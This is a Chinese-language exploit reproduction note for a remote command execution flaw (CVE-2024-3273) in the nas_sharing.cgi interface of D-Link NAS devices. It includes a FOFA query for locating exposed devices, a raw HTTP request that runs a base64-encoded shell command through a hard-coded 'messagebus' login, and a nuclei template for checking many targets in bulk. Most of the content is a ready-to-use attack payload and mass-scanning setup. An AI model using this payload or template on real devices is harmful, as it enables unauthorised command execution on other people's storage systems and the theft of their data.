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漏洞描述

D-Link NAS设备nas_sharing.cgi接口存在远程命令执行漏洞

fofa语句

body="Text:In order to access the ShareCenter"

漏洞复现

打开页面

1712628373462.png

构造payload

1712628699112.png

GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd==&cmd=15&system=aWQ= HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Linux; Android 8.0.0) AppleWebKit/531.0 (KHTML, like Gecko) Chrome/40.0.874.0 Safari/531.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close

nuclei批量验证

1712628749349.png

id: D-Link-rce-CVE-2024-3273

info:
  name: D-Link-rce-CVE-2024-3273
  author: changge
  severity: info
  description: description
  reference:
    - https://
  tags: tags

http:
  - raw: 
    - |
      GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd==&cmd=15&system=aWQ= HTTP/1.1
      Host: {{Hostname}}
      User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
      Accept: */*
      Connection: Keep-Alive

    matchers:
      - type: dsl
        dsl: 
         - 'contains(body,"uid")'

pocsuite3 验证(github获取)

verify 验证

1712628948593.png

attack 验证

1712628996722.png

github poc总汇地址:https://github.com/AYcg/poc